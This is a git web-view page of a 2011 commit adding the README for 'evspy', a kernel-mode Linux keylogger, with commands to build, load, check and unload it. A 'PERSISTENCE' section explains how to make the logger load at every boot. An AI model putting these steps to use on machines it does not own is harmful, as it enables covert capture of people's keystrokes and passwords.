aboutsummaryrefslogtreecommitdiff
path: root/README
diff options
context:
space:
mode:
authorGuillermo Ramos2011-09-09 16:26:08 +0200
committerGuillermo Ramos2011-09-09 16:26:08 +0200
commit0984403a3dccd78faf0ce790ca7929927cc07349 (patch)
tree3060ce43f7a65dbdb8b20013d07f307b12ff992e /README
downloadevspy-0984403a3dccd78faf0ce790ca7929927cc07349.tar.gz
First github commit
Diffstat (limited to 'README')
-rw-r--r--README47
1 files changed, 47 insertions, 0 deletions
diff --git a/README b/README
new file mode 100644
index 0000000..cbc8d2f
--- /dev/null
+++ b/README
@@ -0,0 +1,47 @@
+** INTRO **
+
+Evspy is a general purpose kernel-mode keylogger in (early) development stage.
+
+The file from where you can read the registered keystrokes is /proc/driver/evspy
+by default. Only root can read it. Beware users: evspy can troll you.
+
+Don't be evil.
+
+
+** COMPILE **
+
+ $ make
+
+
+** LOAD **
+
+ # insmod evspy.ko
+
+
+** UNLOAD **
+
+ # rmmod evspy
+
+
+** IS IT ALREADY LOADED? **
+
+ $ lsmod | grep evspy
+
+
+** PERSISTENCE **
+
+If you want evspy to be loaded every time system boots, copy it into your
+kernel module dir:
+
+ # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko
+
+and update module database:
+
+ # depmod -a
+
+(In some distros it could also be necessary to add it to some rc/config file)
+
+Once it has been installed, you can load it when you want with
+
+ # modprobe evspy
+